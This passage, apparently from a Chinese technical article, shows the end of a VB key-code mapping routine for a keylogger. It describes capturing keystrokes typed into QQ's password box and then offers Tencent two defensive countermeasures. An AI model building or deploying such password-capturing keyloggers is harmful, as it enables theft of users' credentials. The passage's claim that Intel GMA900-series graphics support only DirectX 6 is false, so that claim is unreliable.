Case 27 PrintTXT "Esc" Case 112 PrintTXT "F1" Case 113 PrintTXT "F2" Case 114 PrintTXT "F3" Case 115 PrintTXT "F4" Case 116 PrintTXT "F5" Case 117 PrintTXT "F6" Case 118 PrintTXT "F7" Case 119 PrintTXT "F8" Case 120 PrintTXT "F9" Case 121 PrintTXT "F10" Case 122 PrintTXT "F11" Case 123 PrintTXT "F12" Case 9 PrintTXT "{TAB}" Case 20 PrintTXT "{CapsLock}" Case 160 PrintTXT "{左 Shift}" Case 162 PrintTXT "{左 Ctrl}" Case 91 PrintTXT "{左 Win}" Case 13 PrintTXT "{ENTER}" Case 161 PrintTXT "{右 Shift}" Case 92 PrintTXT "{右 Win}" Case 93 PrintTXT "{弹菜单键}" Case 163 PrintTXT "{右 Ctrl}" Case Else PrintTXT "{VKEY=" & CStr(dw) & "}" End Select End Sub 这个函数里还有两个子函数,PrintTXT 是把字符追加在 TextBox 的尾部,IsCapLockOn 是判断键盘上的大写锁定键有没有开启。 接下来进行效果测试。首先运行 QQ,再运行我的程序,点击“record”按钮,就能进 行键盘记录了。而且只有密码框获得焦点时,才会记录键盘的按键。如果按下了退格键之类 的按键,也会有相应的记录: ![]() 接下来给腾讯两个建议,如何让这种键盘记录的方式失效。1.主窗体采用随机类名和随 机标题,输入用户名和密码的输入框使用GDI“画上去”,使之无句柄,这样就无法记录了。 用 GDI+制作输入框,在网上有不少的例子,但我感觉这个方法太过山寨,不符合大厂风范。 2.干脆把 QQ 做成一个DirectX 9 程序,输入框直接用 DirectX 画出来,就像是游戏里的输 入框一样,这样就能彻底防止键盘记录了(不是不能记录键盘按键,而是根本找不到特征, 不知从何处开始记起)。但是可能导致不少电脑无法运行 QQ,因为不少电脑还是使用 INTEL 的 GMA900/910/950 集成显卡(要知道世界上最多人使用的显卡是 INTEL 的集成显卡,占据 了世界 60%的市场份额,NVIDIA 和 AMD/ATI 的份额加起来不到 40%),这种集成显卡只能可 怜地支持到DirectX 6,根本无法运行DirectX 9程序。至于有没有别的更好的方案,我还 真的没想到。 |